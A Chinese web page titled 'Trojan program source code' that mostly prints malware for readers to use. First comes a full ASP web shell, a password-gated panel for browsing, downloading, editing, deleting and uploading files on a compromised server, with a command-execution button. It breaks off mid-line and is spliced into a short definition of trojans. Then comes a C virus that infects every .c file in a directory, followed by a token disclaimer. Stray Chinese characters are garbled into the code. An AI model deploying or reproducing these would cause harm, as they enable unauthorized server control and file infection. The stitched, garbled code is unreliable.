木马程序源码

木马程序源码,第1张

一个asp木马:

<%@ LANGUAGE = VBScript.Encode codepage ="936"码指 %>

<%Server.ScriptTimeOut=5000%>

<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>

<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>

<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"迟顷配><乎姿/object>

<%

'on error resume next

dim Data_5xsoft

Class upload_5xsoft

dim objForm,objFile,Version

Public function Form(strForm)

strForm=lcase(strForm)

if not objForm.exists(strForm) then

Form=""

else

Form=objForm(strForm)

end if

end function

Public function File(strFile)

strFile=lcase(strFile)

if not objFile.exists(strFile) then

set File=new FileInfo

else

set File=objFile(strFile)

end if

end function

Private Sub Class_Initialize

dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile

dim iFileSize,sFilePath,sFileType,sFormValue,sFileName

dim iFindStart,iFindEnd

dim iFormStart,iFormEnd,sFormName

Version="HTTP上传程序 Version 2.0"

set objForm=Server.CreateObject("Scripting.Dictionary")

set objFile=Server.CreateObject("Scripting.Dictionary")

if Request.TotalBytes<1 then Exit Sub

set tStream = Server.CreateObject("adodb.stream")

set Data_5xsoft = Server.CreateObject("adodb.stream")

Data_5xsoft.Type = 1

Data_5xsoft.Mode =3

Data_5xsoft.Open

Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)

Data_5xsoft.Position=0

RequestData =Data_5xsoft.Read

iFormStart = 1

iFormEnd = LenB(RequestData)

vbCrlf = chrB(13) &chrB(10)

sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

iStart = LenB (sStart)

iFormStart=iFormStart+iStart+1

while (iFormStart + 10) < iFormEnd

iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf &vbCrlf)+3

tStream.Type = 1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iFormStart

Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sInfo = tStream.ReadText

tStream.Close

iFormStart = InStrB(iInfoEnd,RequestData,sStart)

iFindStart = InStr(22,sInfo,"name=""",1)+6

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

if InStr (45,sInfo,"filename=""",1) > 0 then

set theFile=new FileInfo

iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

iFindEnd = InStr(iFindStart,sInfo,"""",1)

sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileName=getFileName(sFileName)

theFile.FilePath=getFilePath(sFileName)

iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14

iFindEnd = InStr(iFindStart,sInfo,vbCr)

theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)

theFile.FileStart =iInfoEnd

theFile.FileSize = iFormStart -iInfoEnd -3

theFile.FormName=sFormName

if not objFile.Exists(sFormName) then

objFile.add sFormName,theFile

end if

else

tStream.Type =1

tStream.Mode =3

tStream.Open

Data_5xsoft.Position = iInfoEnd

Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3

tStream.Position = 0

tStream.Type = 2

tStream.Charset ="gb2312"

sFormValue = tStream.ReadText

tStream.Close

if objForm.Exists(sFormName) then

objForm(sFormName)=objForm(sFormName)&", "&sFormValue

else

objForm.Add sFormName,sFormValue

end if

end if

iFormStart=iFormStart+iStart+1

wend

RequestData=""

set tStream =nothing

End Sub

Private Sub Class_Terminate

if Request.TotalBytes>0 then

objForm.RemoveAll

objFile.RemoveAll

set objForm=nothing

set objFile=nothing

Data_5xsoft.Close

set Data_5xsoft =nothing

end if

End Sub

Private function GetFilePath(FullPath)

If FullPath <> "" Then

GetFilePath = left(FullPath,InStrRev(FullPath, "\"))

Else

GetFilePath = ""

End If

End function

Private function GetFileName(FullPath)

If FullPath <> "" Then

GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)

Else

GetFileName = ""

End If

End function

End Class

Class FileInfo

dim FormName,FileName,FilePath,FileSize,FileType,FileStart

Private Sub Class_Initialize

FileName = ""

FilePath = ""

FileSize = 0

FileStart= 0

FormName = ""

FileType = ""

End Sub

Public function SaveAs(FullPath)

dim dr,ErrorChar,i

SaveAs=true

if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function

set dr=CreateObject("Adodb.Stream")

dr.Mode=3

dr.Type=1

dr.Open

Data_5xsoft.position=FileStart

Data_5xsoft.copyto dr,FileSize

dr.SaveToFile FullPath,2

dr.Close

set dr=nothing

SaveAs=false

end function

End Class

httpt = Request.ServerVariables("server_name")

rseb=Request.ServerVariables("SCRIPT_NAME")

q=request("q")

if q="" then q=rseb

select case q

case rseb

if Epass(trim(request.form("password")))="q_ux888556" then

response.cookies("password")="7758521"

response.redirect rseb &"?q=list.asp"

else %>

<html>

<head>

<meta http-equiv="Content-Type" content="text/htmlcharset=gb2312">

<title><%=httpt%></title>

<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>

<body>

<%if request.form("password")<>"" then

response.write "Password Error!"

end if

%>

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"

bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">

<tr>

<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>

</tr>

<tr>

<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">

<div align="center"><center><p>Enter Password:<input type="password" name="password"

size="20"

style="border-left: thin noneborder-right: thin noneborder-top: thin outsetborder-bottom: thin outset">

<input type="submit" value="OK!LOGIN" name="B1"

style="font-size: 9ptborder: thin outset"></p>

</center></div>

</form>

</td>

</tr>

</table>

</body>

</html>

<%end if%>

<%case "down.asp"

call downloadFile(request("path"))

function downloadFile(strFile)

strFilename = strFile

Response.Buffer = True

Response.Clear

set s = Server.CreateObject("adodb.stream")

s.Open

s.Type = 1

if not oFileSys.FileExists(strFilename) then

Response.Write("<h1>Error:</h1>" &strFilename &" does not exist<p>")

Response.End

end if

Set f = oFileSys.GetFile(strFilename)

intFilelength = f.size

s.LoadFromFile(strFilename)

if err then

Response.Write("<h1>Error: </h1>" &err.Description &"<p>")

Response.End

end if

Response.AddHeader "Content-Disposition", "attachmentfilename=" &f.name

Response.AddHeader "Content-Length", intFilelength

Response.CharSet = "UTF-8"

Response.ContentType = "application/octet-stream"

Response.BinaryWrite s.Read

Response.Flush

s.Close

Set s = Nothing

response.end

End Function

%>

<%case "list.asp"%>

<%

urlpath=server.urlencode(path)

if Request.Cookies("password")="7758521" then

dim cpath,lpath

if Request("path")="" then

lpath="/"

else

lpath=Request("path")&"/"

end if

if Request("attrib")="true" then

cpath=lpath

attrib="true"

else

cpath=Server.MapPath(lpath)

attrib=""

end if

Sub GetFolder()

dim theFolder,theSubFolders

if oFileSys.FolderExists(cpath)then

Set theFolder=oFileSys.GetFolder(cpath)

Set theSubFolders=theFolder.SubFolders

Response.write"<a href='" &rseb &"?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"

For Each x In theSubFolders

%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"

<%

Next

%></script><%

end if

End Sub

Sub GetFile()

dim theFiles

if oFileSys.FolderExists(cpath)then

Set theFolder=oFileSys.GetFolder(cpath)

Set theFiles=theFolder.Files

Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"

For Each x In theFiles

if Request("attrib")="true" then

showstring=x.Name

else

showstring=x.Name

end if

%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"

<%

Next

end if

Response.write"</script></table>"

End Sub

%>

<html>

<head>

<meta http-equiv="Content-Type" content="text/htmlcharset=gb2312">

<title><%=httpt%></title>

<style type="text/css">

<!--

table{ font-family: 宋体font-size: 9pt }

a{ font-family: 宋体font-size: 9ptcolor: rgb(0,32,64)text-decoration: none }

a:hover{ font-family: 宋体color: rgb(255,0,0)text-decoration: none }

a:visited{ color: rgb(128,0,0) }

td { font-size: 9pt}

a { color: #000000text-decoration: none}

a:hover { text-decoration: underline}

.tx { height: 16pxwidth: 30pxborder-color: black black #000000border-top-width: 0pxborder-right-width: 0pxborder-bottom-width: 1pxborder-left-width: 0pxfont-size: 9ptbackground-color: #eeeeeecolor: #0000FF}

.bt { font-size: 9ptborder-top-width: 0pxborder-right-width: 0pxborder-bottom-width: 0pxborder-left-width: 0pxheight: 16pxwidth: 80pxbackground-color: #eeeeeecursor: hand}

.tx1 { height: 18pxwidth: 60pxfont-size: 9ptborder: 1px solidborder-color: black black #000000color: #0000FF}

-->

</style>

</head>

<script language="JavaScript">

function crfile(ls)

{if (ls==""){alert("请输入文件!")}

else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls)}

return false

}

function crdir(ls)

{if (ls==""){alert("请输入文件名!")}

else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls)}

return false

}

</script>

<script language="vbscript">

sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)

document.write "<tr style=""color: #000000background-color: #FFefdftext-decoration: blinkborder: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"&urlpath &lpath &xName &"' target='_blank'><strong>" &showstring &"</strong></a></td><td width='20%' align='right'>" &size &"字节</td><td width='30%'><a href='#' title='类型:" &type1 &chr(10) &"属性:" &Attributes &chr(10) &"时间:" &DateLastModified &"'>属性</a> <a href='<%=rseb%>?q=edit.asp&path=" &lpath &xName &"&attrib=" &attrib &"' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="&chr(34)&"javascript: rmdir1('"&lpath &xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=copyfile('" &lpath &Name &"')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" &attrib &"' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"

end sub

sub so(lpath,xName,path,attrib)

document.write "<a href='<%=rseb%>?q=list.asp&path="&lpath &xName &"&oldpath=" &path &"&attrib=" &attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " &xName &"</a> <a href="&chr(34)&"javascript: rmdir('"&lpath &xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"

end sub

sub rmdir1(ls)

if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为:"&ls) then

window.open("<%=rseb%>?q=edit.asp&path=" &ls &"&op=del&attrib=<%=request("attrib")%>")

end if

end sub

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then

window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10) &"[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="<%=request("attrib")%>"

if dfile<>"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib<>"true" then

alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"

exit sub

end if

else

lp="<%=lpath%>"

end if

window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)

else

alert"您没有输入文件名!"

end If

end sub

</script>

<body>

<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0">

<tr>

<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"

color="#FFFFFF"><%=httpt%></font></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span

style="background-color: rgb(255,255,255)color:rgb(255,0,0)"><%

For Each thing in oFileSys.Drives

Response.write "<font face=Wingdings>:</font><a href='" &rseb &"?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"

NEXT

%> </span> 地址:

<%= "\\" &oScriptNet.ComputerName &"\" &oScriptNet.UserName %></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※<%

if Request("attrib")="true" then

response.write "<a href='" &rseb &"?q=list.asp'>切到相对路径</a>"

else

response.write "<a href='" &rseb &"?attrib=true&q=list.asp'>切到绝对路径</a>"

end if

%> ※绝对:<span

style="background-color: rgb(255,255,255)"><%=cpath%></span></td>

</tr>

<tr>

<td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>

</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">

<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">

编辑|

<input class="tx1" type="text" name="filename" size="20">

<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">

<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">

<input type="file" name="file1" class="tx1" style="width:100" value="">

<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">

<input type="hidden" name="act" value="upload">

<input type="hidden" name="upcount" class="tx" value="1">

<input class="tx1" type="submit" value="上传">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">

</td>

</td>

</tr></form>

<tr>

<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>

</td>

<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>

</td>

</tr>

</table>

<%else

response.write "Password Error!"

response.write "<a href='" &rseb &"?q=" &rseb &"'>【返 回】</a>"

end if

%>

</body>

</html>

<%case "edit.asp"%>

<html>

<head>

<meta HTTP-EQUIV="Content-Type" CONTENT="text/htmlcharset=gb_2312-80">

<title>编辑源代码</title>

<style>

<!--

table{ font-family: 宋体font-size: 12pt }

a{ font-family: 宋体font-size: 12ptcolor: rgb(0,32,64)text-decoration: none }

a:hover{ font-family: 宋体color: rgb(255,0,0)text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<body>

<% '读文件

if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set thisfile = oFileSys.GetFile(whichfile)

thisfile.Delete True

Response.write "<script>alert('删除成功!要刷新才能看到效果')window.close()</script>"

else

if request("op")="copy" then

if Request("attrib")="true" then

whichfile=Request("path")

dsfile=Request("dpath")

else

whichfile=server.mappath(Request("path"))

dsfile=Server.MapPath(Request("dpath"))

end if

Set thisfile = oFileSys.GetFile(whichfile)

thisfile.copy dsfile

%>

<script language=vbscript>

msgbox "源文件:<%=whichfile%>" &vbcrlf &"目的文件:<%=dsfile%>" &vbcrlf &"复制成功!要刷新才能看到效果!"

window.close()

</script>

<%

else

if request.form("text")="" then

if Request("creat")<>"yes" then

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)

counter=0

thisline=thisfile.readall

thisfile.Close

set fs=nothing

end if

%>

<form method="POST" action="<%=rseb%>?q=edit.asp">

<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"

width="700" cellpadding="0">

<tr>

<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>

</tr>

<tr align="center">

<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"

value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td>

</tr>

<tr align="center">

<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>

</tr>

<tr align="center">

<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"

value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>

</tr>

</table>

</form>

<%else

if Request("attrib")="true" then

whichfile=Request("path")

else

whichfile=server.mappath(Request("path"))

end if

Set outfile=oFileSys.CreateTextFile(whichfile)

outfile.WriteLine Request("text")

outfile.close

set fs=nothing

Response.write "<script>alert('修改成功!要刷新才能看到效果')window.close()</script>"

end if

end if

end if

else

response.write "Password Error!"

response.write "<a href='" &rseb &"?q=" &rseb &"'>【返 回】</a>"

end if

%>

</body>

</html>

<%case "edir.asp"%>

<html>

<head>

<meta HTTP-EQUIV="Content-Type" CONTENT="text/htmlcharset=gb_2312-80">

<title>目录 *** 作</title>

<style>

<!--

table{ font-family: 宋体font-size: 12pt }

a{ font-family: 宋体font-size: 12ptcolor: rgb(0,32,64)text-decoration: none }

a:hover{ font-family: 宋体color: rgb(255,0,0)text-decoration: underline }

a:visited{ color: rgb(128,0,0) }

-->

</style>

</head>

<body>

<% '读文件

if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

oFileSys.DeleteFolder whichdir,True

Response.write "<script>alert('删除的目录为:" &whichdir &"删除成功!要刷新才能看到效果')window.close()</script>"

else

if request("op")="creat" then

if Request("attrib")="true" then

whichdir=Request("path")

else

whichdir=server.mappath(Request("path"))

end if

oFileSys.CreateFolder whichdir

Response.write "<script>alert('建立的目录为:" &whichdir &"建立成功!要刷新才能看到效果')window.close()</script>"

end if

end if

else

response.write "Password Error!"

response.write "<a href='" &rseb &"?q=" &rseb &"'>【返 回】</a>"

end if

%>

</body>

</html>

<%

case "upfile.asp"

if Request.Cookies("password")="7758521" then

set upload=new upload_5xSoft

if upload.form("filepath")="" then

HtmEnd "请输入要上传至的目录!"

set upload=nothing

response.end

else

formPath=upload.form("filepath")

if right(formPath,1)<>"/" then formPath=formPath&"/"

end if

iCount=0

for each formName in upload.objForm

set file=upload.file(formName)

if file.FileSize>

1、木马(Trojan),也称木马病毒,是指通过特定的程谈此羡序(木马程序)来控制另一含拍台计算机。木马通常有两个可执行程序:一个是控制端,另一个是被控制端。

2、木马这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一扒晌词的特洛伊木马本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。

#include <stdio.h>

#include <dir.h>

void main(void)

{

virus()

}

int virus()

{

struct ffblk ffblk

FILE *in,*out,*read

char *virus="virus.c"

char buf[50][80]

char *p

char *end="return"

char *bracket="}"

char *main="main"

char *include[2]={"stdio.h","dir.h"}

char *int_virus="int virus()"

char *buffer

int done,i,j=0,flag=0

printf("\nI have a virus. Writen by PuBin\n")

done = findfirst("*.c",&ffblk,0)

while (!done)

{

i=0

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next

}

do{

if(i>=50)

{

fclose(in)

goto next

}

p=fgets(buf[i],80,in)

i++

}while(p!=NULL)

fclose(in)

out=fopen(ffblk.ff_name,"w+t")

fputs("#include<stdio.h>\弊游n",out)

fputs("#include<dir.h>\n",out)

do

{

if(strstr(buf[j],main)!=NULL)

{

for(j<i-1j++)

if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

fputs(buf[j],out)

else

{

if(flag==0)

{

flag=1

fputs("virus()\n",out)

}

fputs(buf[j],out)

}

}

else if((strstr(buf[j],include[0])==NULL)

&&(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out)

j++

}

else

j++

}while(j<i-1)

read=fopen(virus,"rt")

do

{

p=fgets(buffer,80,read)

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out)

else

{

fputs(" char *virus=\"",out)

fputs(ffblk.ff_name,out)

fputs("\"\n",out)

}

p=fgets(buffer,80,read)

}

}while(p!=NULL)

fclose(read)

fclose(out)

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name)

next: done = findnext(&ffblk)

}

return 0

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人神中概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严游卜山重。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12310031.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-24
下一篇 2023-05-24

发表评论

登录后才能评论

评论列表(0条)

保存